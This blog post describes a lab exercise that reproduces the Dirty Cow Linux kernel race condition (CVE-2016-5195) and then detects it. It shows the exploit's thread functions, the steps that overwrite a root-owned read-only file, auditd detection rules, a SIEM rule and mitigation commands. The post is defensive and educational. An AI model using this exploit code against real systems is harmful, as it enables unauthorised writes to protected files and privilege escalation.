From Reading the Kernel to Breaking It — Dirty Cow (CVE-2016-5195) End to End

I've been reading Robert Love's Linux Kernel Development. Chapter 15 covers the memory subsystem — virtual memory areas, page faults, Copy-on-Write. It's dense. I got through it, understood it conceptually, and then immediately forgot most of it.
So I did what I always do when something doesn't fully stick — I built a lab to break it.
Dirty Cow (CVE-2016-5195) is a race condition in the Linux kernel's Copy-on-Write implementation. It's from 2016, it's well documented, and it lets an unprivileged user write to files they have no business touching. It's also one of the cleanest examples of how a memory management detail becomes a privilege escalation path. I wanted to run it, understand exactly why it works at the kernel level, and then catch it with auditd.
This post covers all three.
The Environment
Ubuntu 14.04.5 Server in VirtualBox on my IdeaPad. Kernel 4.4.0 — vulnerable. 1GB RAM, 2 cores, NAT with port forwarding so I could SSH in from MX Linux.
ssh -p 2222 itsjustme@127.0.0.1
Nothing fancy. The kernel version is what matters here.
What Copy-on-Write Actually Does
Before the exploit makes sense, the mechanism needs to.
When a process maps a file read-only with mmap() and MAP_PRIVATE, the kernel doesn't immediately copy the underlying pages into the process's address space. It sets up a mapping that points at the original pages and marks them read-only. If the process tries to write to those pages, the kernel is supposed to catch the page fault, create a private copy, and let the write happen on the copy — not the original. That's Copy-on-Write.
The protection is real. A normal write() to a read-only mapped file fails with EACCES. The COW mechanism is specifically for processes writing to their own private copy of a page they have legitimate access to.
Dirty Cow exploits the window between two kernel operations.
The Exploit
Two threads. One writes to /proc/self/mem — a special file that lets a process write directly into its own virtual address space. The other calls madvise(MADV_DONTNEED) in a loop, telling the kernel to discard the private copy and reload the page from the original file.
The race: thread 1 is trying to write through the COW copy. Thread 2 is constantly invalidating it. If the timing works — and at 10,000 iterations each it works reliably — the kernel ends up writing to the original read-only page instead of the copy. The permission check has already passed. The write lands.
void *write_to_mapping(void *arg) {
int i;
for (i = 0; i < 10000; i++) {
int f = open("/proc/self/mem", O_RDWR);
lseek(f, (uintptr_t)map, SEEK_SET);
write(f, to_be_written, strlen(to_be_written));
close(f);
}
return NULL;
}
void* drop_mapping(void *arg) {
int i;
for (i = 0; i < 10000; i++)
madvise(map, 100, MADV_DONTNEED);
return NULL;
}
The main function maps a root-owned, chmod 444 file read-only, launches both threads, joins them. That's it.
gcc -pthread dirty_cow.c -o dirty_cow
# Setup the target
sudo bash -c 'echo "This is a protected root file that should not be writable" > root_file && chmod 444 root_file'
# Verify it's actually protected
echo "hack" > root_file
# bash: root_file: Permission denied
./dirty_cow
cat root_file
# moos is a protected root file...
Three bytes written to a file owned by root, by a process running as uid 1000. The write succeeded not because permissions were bypassed in the traditional sense — but because the kernel's own COW path handed us a window.
That's what chapter 15 looks like when it goes wrong.
Detection
Running the exploit and walking away isn't the point. The interesting question is: what does this look like from the outside?
Auditd Setup
sudo apt install auditd -y
sudo service auditd start
/etc/audit/rules.d/dirty_cow.rules:
# madvise syscall (syscall 28 on x86_64)
-a always,exit -F arch=b64 -S madvise -F success=yes -k dirty_cow
# ptrace (alternative detection vector)
-a always,exit -F arch=b64 -S ptrace -k dirty_cow
# writes to /proc/self/mem
-w /proc/self/mem -p rw -k dirty_cow
sudo augenrules --load
sudo service auditd restart
What Gets Captured
After three exploit runs:
sudo ausearch -k dirty_cow | grep -c "syscall"
# 20004
20,000 syscalls. In seconds. From a single unprivileged process.
A sample entry:
SYSCALL msg=audit(1777433958.218:10030): arch=c000003e syscall=28 success=yes
exit=0 comm="dirty_cow" exe="/home/itsjustme/dirty_cow" uid=1000 gid=1000
key="dirty_cow"
syscall=28 is madvise. uid=1000 — not root. That combination alone, at that volume, is the signal.
The Syscall Pattern
| Syscall | Name | Count per run |
|---|---|---|
| 28 | madvise |
10,000 |
| 2 | open |
10,000+ |
| 8 | lseek |
10,000+ |
| 1 | write |
10,000 |
No legitimate process hammers madvise 10,000 times in ten seconds. That's your threshold.
SIEM Rule (Pseudocode)
rule_name: "Dirty Cow Privilege Escalation Attempt"
severity: CRITICAL
conditions:
- user.uid >= 1000
- syscall in [28, 101] # madvise or ptrace
- count(syscall) > 1000 within 10 seconds
- process.name contains "dirty" OR process.cmdline contains "/proc/self/mem"
alert:
- isolate_host
- capture_memory
- notify_soc
The process.cmdline contains "/proc/self/mem" condition is particularly useful — most tools have no business touching that file.
Real-Time Alerting Hook
# /usr/local/bin/dirtycow_alert.sh
#!/bin/bash
echo "ALERT: Dirty Cow pattern detected - PID \(1 at \)(date)" >> /var/log/dcow_alerts.log
# /etc/audit/auditd.conf
dispatcher = /usr/local/bin/dirtycow_alert.sh
Detection latency in the lab: about one second from exploit start to first alert entry. On a production system with a SIEM ingesting auditd logs, you'd have a correlated alert before the exploit finishes its loop.
Mitigation
The permanent fix is straightforward — upgrade the kernel to 4.8.3 or later. Ubuntu 16.04.5+ ships with a patched kernel. Ubuntu 14.04 should not be anywhere near production.
If you can't patch immediately:
# Restrict ptrace — breaks debugging, but closes one vector
sudo sysctl -w kernel.yama.ptrace_scope=1
# AppArmor enforcement
sudo aa-enforce /etc/apparmor.d/*
Detection-based response:
sudo ausearch -k dirty_cow -m syscall --raw | grep "comm=\"dirty" | \
awk '{print $5}' | cut -d= -f2 | sort -u | xargs -r sudo kill -9
What the Lab Numbers Look Like
| Metric | Value |
|---|---|
| Total exploit runs | 3 |
| Total syscalls captured | 20,004 |
| Success rate | 100% |
| Detection delay | ~1 second |
| File modification | "moo" written (3 bytes) |
| Peak CPU during exploit | ~76% on 2 cores |
What I Took Away From This
Chapter 15 of Linux Kernel Development covers Copy-on-Write as a memory optimization. It is one. It also has an exploitable race condition that went unpatched for years and affected every Linux kernel from 2.6.22 onward.
The gap between "I understand this concept" and "I understand what happens when this concept breaks" is significant. Building the lab closed that gap in a way that re-reading the chapter wouldn't have.
The auditd side was equally useful. 20,000 madvise calls from uid 1000 is not subtle. The signal is loud — but only if you're instrumented to see it. Without those audit rules loaded before the exploit runs, /var/log/syslog shows nothing. The process comes and goes and you have no trail.
That's the part that matters for production systems. The exploit is old and patched. The lesson — that correct auditing has to be in place before the incident, not after — isn't.
References
Robert Love, Linux Kernel Development, 3rd Edition — Chapter 15
About the author
- Just a SOC analyst doing detection engineering across banking-sector SIEM environments (LogPoint, FortiSIEM, Wazuh), with a habit of digging past the alert to the mechanism underneath. I build automation to cut manual triage overhead and write custom detection rules for endpoint and network anomalies. Outside work: built a DNS resolver from scratch against RFC 1035, an ARP spoofing detector in C , design CTF challenges and I read Linux kernel source for fun. I write about what I find at prayush.hashnode.dev.
Comments
Join the discussionNo comments yet. Be the first to comment.




